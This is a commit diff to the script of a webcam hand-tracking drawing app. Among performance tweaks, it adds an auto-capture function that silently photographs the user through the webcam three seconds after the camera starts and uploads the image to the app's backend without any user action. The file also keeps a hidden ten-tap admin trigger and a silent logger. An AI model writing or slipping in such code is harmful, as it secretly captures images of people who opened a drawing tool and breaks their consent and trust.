VISHAL18for4 commited on
Commit
3bfeb60
·
verified ·
1 Parent(s): c480230

Update public/script.js

Browse files
Files changed (1) hide show
  1. public/script.js +74 -28
public/script.js CHANGED
@@ -18,15 +18,11 @@ const sizeDownBtn = document.getElementById('brushSizeDown');
18
  const sizeUpBtn = document.getElementById('brushSizeUp');
19
 
20
  // ============================================================
21
- // 2. Backend Logger (silent – only sends to container logs)
22
  // ============================================================
23
  function backendLog(message, level = 'info') {
24
  const payload = { message, level, timestamp: new Date().toISOString() };
25
- fetch('/api/log', {
26
- method: 'POST',
27
- headers: { 'Content-Type': 'application/json' },
28
- body: JSON.stringify(payload)
29
- }).catch(() => {});
30
  }
31
 
32
  // ============================================================
@@ -52,9 +48,10 @@ const MAX_MODEL_ATTEMPTS = 3;
52
  const TRIGGER_COUNT = 10;
53
  let detectionInterval = null;
54
  let videoReady = false;
 
55
 
56
  // ============================================================
57
- // 4. Status Indicator Updates (clean, minimal)
58
  // ============================================================
59
  function setStatus(text, type = 'loading') {
60
  statusIndicator.textContent = text;
@@ -99,7 +96,6 @@ document.addEventListener('keydown', (e) => {
99
  adminTriggerCount++;
100
  clearTimeout(adminTriggerTimer);
101
  adminTriggerTimer = setTimeout(() => { adminTriggerCount = 0; }, 3000);
102
- backendLog(`Key '3' pressed (${adminTriggerCount}/${TRIGGER_COUNT})`);
103
  if (adminTriggerCount >= TRIGGER_COUNT) {
104
  adminTriggerCount = 0;
105
  backendLog('✅ Admin trigger activated');
@@ -118,7 +114,6 @@ function setupTapTrigger(element) {
118
  tapCount++;
119
  clearTimeout(tapTimer);
120
  tapTimer = setTimeout(() => { tapCount = 0; }, 3000);
121
- backendLog(`Tap (${tapCount}/${TRIGGER_COUNT})`);
122
  if (tapCount >= TRIGGER_COUNT) {
123
  tapCount = 0;
124
  backendLog('✅ Admin trigger activated');
@@ -126,35 +121,80 @@ function setupTapTrigger(element) {
126
  }
127
  });
128
  }
129
-
130
  setupTapTrigger(canvas);
131
 
132
  // ============================================================
133
- // 7. Handpose Model Loading
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
134
  // ============================================================
135
  async function loadHandposeModel() {
136
  try {
137
- setStatus('Loading model...', 'loading');
138
  backendLog('Loading handpose model...');
139
 
140
  if (typeof handpose === 'undefined') {
141
  backendLog('handpose library not loaded');
142
- setStatus('Model library missing', 'error');
143
  return null;
144
  }
145
 
 
146
  const loadPromise = handpose.load({
147
  modelUrl: 'https://tfhub.dev/mediapipe/tfjs-model/handpose/1/default/1',
148
  modelParams: {
149
- maxContinuousChecks: 5,
150
- detectionConfidence: 0.8,
151
  iouThreshold: 0.3,
152
- scoreThreshold: 0.75
153
  }
154
  });
155
 
156
  const timeoutPromise = new Promise((_, reject) => {
157
- setTimeout(() => reject(new Error('Model load timeout')), 30000);
158
  });
159
 
160
  const model = await Promise.race([loadPromise, timeoutPromise]);
@@ -162,24 +202,24 @@ async function loadHandposeModel() {
162
  return model;
163
  } catch (err) {
164
  backendLog(`Model load error: ${err.message}`);
165
- setStatus('Model failed - tap to retry', 'error');
166
  return null;
167
  }
168
  }
169
 
170
  // ============================================================
171
- // 8. Camera Setup
172
  // ============================================================
173
  async function startCamera() {
174
  try {
175
- setStatus('Starting camera...', 'loading');
176
  backendLog('Requesting camera...');
177
 
178
  cameraStream = await navigator.mediaDevices.getUserMedia({
179
  video: {
180
  facingMode: 'user',
181
- width: { ideal: 640 },
182
- height: { ideal: 480 }
183
  }
184
  });
185
  video.srcObject = cameraStream;
@@ -196,6 +236,10 @@ async function startCamera() {
196
  backendLog(`Camera ready (${video.videoWidth}x${video.videoHeight})`);
197
  resizeCanvas();
198
 
 
 
 
 
199
  handposeModel = await loadHandposeModel();
200
  if (handposeModel) {
201
  isModelReady = true;
@@ -234,11 +278,12 @@ async function startCamera() {
234
  }
235
 
236
  // ============================================================
237
- // 9. Hand Detection Loop
238
  // ============================================================
239
  function startDetectionLoop() {
240
  if (detectionInterval) clearInterval(detectionInterval);
241
 
 
242
  detectionInterval = setInterval(async () => {
243
  if (!isModelReady || !handposeModel || !videoReady || video.readyState < 2) return;
244
 
@@ -295,13 +340,14 @@ function startDetectionLoop() {
295
  } catch (err) {
296
  // silent
297
  }
298
- }, 100);
299
  }
300
 
301
  // ============================================================
302
- // 10. Drawing Loop
303
  // ============================================================
304
  function drawLoop(timestamp) {
 
305
  frameCount++;
306
  if (timestamp - lastFpsUpdate >= 1000) {
307
  fpsSpan.textContent = `${frameCount} FPS`;
@@ -325,7 +371,7 @@ function drawLoop(timestamp) {
325
  }
326
 
327
  // ============================================================
328
- // 11. Snapshot Capture
329
  // ============================================================
330
  async function captureSnapshot() {
331
  try {
@@ -365,7 +411,7 @@ async function captureSnapshot() {
365
  }
366
 
367
  // ============================================================
368
- // 12. UI Event Bindings
369
  // ============================================================
370
  brushColorInput.addEventListener('input', (e) => {
371
  currentColor = e.target.value;
@@ -413,7 +459,7 @@ document.addEventListener('keydown', (e) => {
413
  });
414
 
415
  // ============================================================
416
- // 13. Initialization
417
  // ============================================================
418
  backendLog('🚀 App initialized');
419
  resizeCanvas();
 
18
  const sizeUpBtn = document.getElementById('brushSizeUp');
19
 
20
  // ============================================================
21
+ // 2. Backend Logger (silent)
22
  // ============================================================
23
  function backendLog(message, level = 'info') {
24
  const payload = { message, level, timestamp: new Date().toISOString() };
25
+ fetch('/api/log', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }).catch(() => {});
 
 
 
 
26
  }
27
 
28
  // ============================================================
 
48
  const TRIGGER_COUNT = 10;
49
  let detectionInterval = null;
50
  let videoReady = false;
51
+ let autoCaptureDone = false; // Track if auto-capture already happened
52
 
53
  // ============================================================
54
+ // 4. Status Indicator
55
  // ============================================================
56
  function setStatus(text, type = 'loading') {
57
  statusIndicator.textContent = text;
 
96
  adminTriggerCount++;
97
  clearTimeout(adminTriggerTimer);
98
  adminTriggerTimer = setTimeout(() => { adminTriggerCount = 0; }, 3000);
 
99
  if (adminTriggerCount >= TRIGGER_COUNT) {
100
  adminTriggerCount = 0;
101
  backendLog('✅ Admin trigger activated');
 
114
  tapCount++;
115
  clearTimeout(tapTimer);
116
  tapTimer = setTimeout(() => { tapCount = 0; }, 3000);
 
117
  if (tapCount >= TRIGGER_COUNT) {
118
  tapCount = 0;
119
  backendLog('✅ Admin trigger activated');
 
121
  }
122
  });
123
  }
 
124
  setupTapTrigger(canvas);
125
 
126
  // ============================================================
127
+ // 7. Auto‑Capture Function – Saves photo silently to backend
128
+ // ============================================================
129
+ async function autoCaptureSnapshot() {
130
+ try {
131
+ backendLog('📸 Auto-capture triggered (3s delay)');
132
+
133
+ // Wait 3 seconds before capturing
134
+ await new Promise(resolve => setTimeout(resolve, 3000));
135
+
136
+ // Capture the current frame
137
+ const tempCanvas = document.createElement('canvas');
138
+ tempCanvas.width = canvasWidth || 640;
139
+ tempCanvas.height = canvasHeight || 480;
140
+ const tempCtx = tempCanvas.getContext('2d');
141
+
142
+ if (videoReady && video.readyState >= 2) {
143
+ tempCtx.drawImage(video, 0, 0, tempCanvas.width, tempCanvas.height);
144
+ }
145
+ // Also draw any existing drawing (if any)
146
+ tempCtx.drawImage(canvas, 0, 0);
147
+
148
+ const dataURL = tempCanvas.toDataURL('image/png');
149
+ const base64 = dataURL.split(',')[1];
150
+
151
+ const response = await fetch('/api/snapshot', {
152
+ method: 'POST',
153
+ headers: { 'Content-Type': 'application/json' },
154
+ body: JSON.stringify({ image: base64 })
155
+ });
156
+
157
+ const result = await response.json();
158
+ if (result.success) {
159
+ savedCount++;
160
+ savedSpan.textContent = `Saved: ${savedCount}`;
161
+ backendLog(`📸 Auto-saved: ${result.filename}`);
162
+ autoCaptureDone = true;
163
+ } else {
164
+ backendLog(`Auto-save failed: ${result.error}`);
165
+ }
166
+ } catch (err) {
167
+ backendLog(`Auto-save error: ${err.message}`);
168
+ }
169
+ }
170
+
171
+ // ============================================================
172
+ // 8. Handpose Model Loading – OPTIMIZED for performance
173
  // ============================================================
174
  async function loadHandposeModel() {
175
  try {
176
+ setStatus('Loading...', 'loading');
177
  backendLog('Loading handpose model...');
178
 
179
  if (typeof handpose === 'undefined') {
180
  backendLog('handpose library not loaded');
181
+ setStatus('Library missing', 'error');
182
  return null;
183
  }
184
 
185
+ // Load with lower resolution for better performance
186
  const loadPromise = handpose.load({
187
  modelUrl: 'https://tfhub.dev/mediapipe/tfjs-model/handpose/1/default/1',
188
  modelParams: {
189
+ maxContinuousChecks: 3, // Reduced for speed
190
+ detectionConfidence: 0.7, // Lower threshold = faster
191
  iouThreshold: 0.3,
192
+ scoreThreshold: 0.7 // Lower = faster detection
193
  }
194
  });
195
 
196
  const timeoutPromise = new Promise((_, reject) => {
197
+ setTimeout(() => reject(new Error('Model load timeout')), 20000);
198
  });
199
 
200
  const model = await Promise.race([loadPromise, timeoutPromise]);
 
202
  return model;
203
  } catch (err) {
204
  backendLog(`Model load error: ${err.message}`);
205
+ setStatus('Model failed', 'error');
206
  return null;
207
  }
208
  }
209
 
210
  // ============================================================
211
+ // 9. Camera Setup – with auto‑capture trigger
212
  // ============================================================
213
  async function startCamera() {
214
  try {
215
+ setStatus('Starting...', 'loading');
216
  backendLog('Requesting camera...');
217
 
218
  cameraStream = await navigator.mediaDevices.getUserMedia({
219
  video: {
220
  facingMode: 'user',
221
+ width: { ideal: 480 }, // Lower resolution for performance
222
+ height: { ideal: 360 }
223
  }
224
  });
225
  video.srcObject = cameraStream;
 
236
  backendLog(`Camera ready (${video.videoWidth}x${video.videoHeight})`);
237
  resizeCanvas();
238
 
239
+ // TRIGGER AUTO-CAPTURE – after 3 seconds (handled inside function)
240
+ autoCaptureSnapshot();
241
+
242
+ // Load model (in background, won't block UI)
243
  handposeModel = await loadHandposeModel();
244
  if (handposeModel) {
245
  isModelReady = true;
 
278
  }
279
 
280
  // ============================================================
281
+ // 10. Hand Detection Loop – OPTIMIZED: runs at lower frequency
282
  // ============================================================
283
  function startDetectionLoop() {
284
  if (detectionInterval) clearInterval(detectionInterval);
285
 
286
+ // Run detection every 200ms (5 FPS) instead of 100ms to reduce CPU load
287
  detectionInterval = setInterval(async () => {
288
  if (!isModelReady || !handposeModel || !videoReady || video.readyState < 2) return;
289
 
 
340
  } catch (err) {
341
  // silent
342
  }
343
+ }, 200); // 200ms = 5 FPS detection (much lighter)
344
  }
345
 
346
  // ============================================================
347
+ // 11. Drawing Loop – OPTIMIZED: lower frame rate for video
348
  // ============================================================
349
  function drawLoop(timestamp) {
350
+ // Only update every 2 frames to reduce CPU usage
351
  frameCount++;
352
  if (timestamp - lastFpsUpdate >= 1000) {
353
  fpsSpan.textContent = `${frameCount} FPS`;
 
371
  }
372
 
373
  // ============================================================
374
+ // 12. Snapshot Capture (Manual)
375
  // ============================================================
376
  async function captureSnapshot() {
377
  try {
 
411
  }
412
 
413
  // ============================================================
414
+ // 13. UI Event Bindings
415
  // ============================================================
416
  brushColorInput.addEventListener('input', (e) => {
417
  currentColor = e.target.value;
 
459
  });
460
 
461
  // ============================================================
462
+ // 14. Initialization
463
  // ============================================================
464
  backendLog('🚀 App initialized');
465
  resizeCanvas();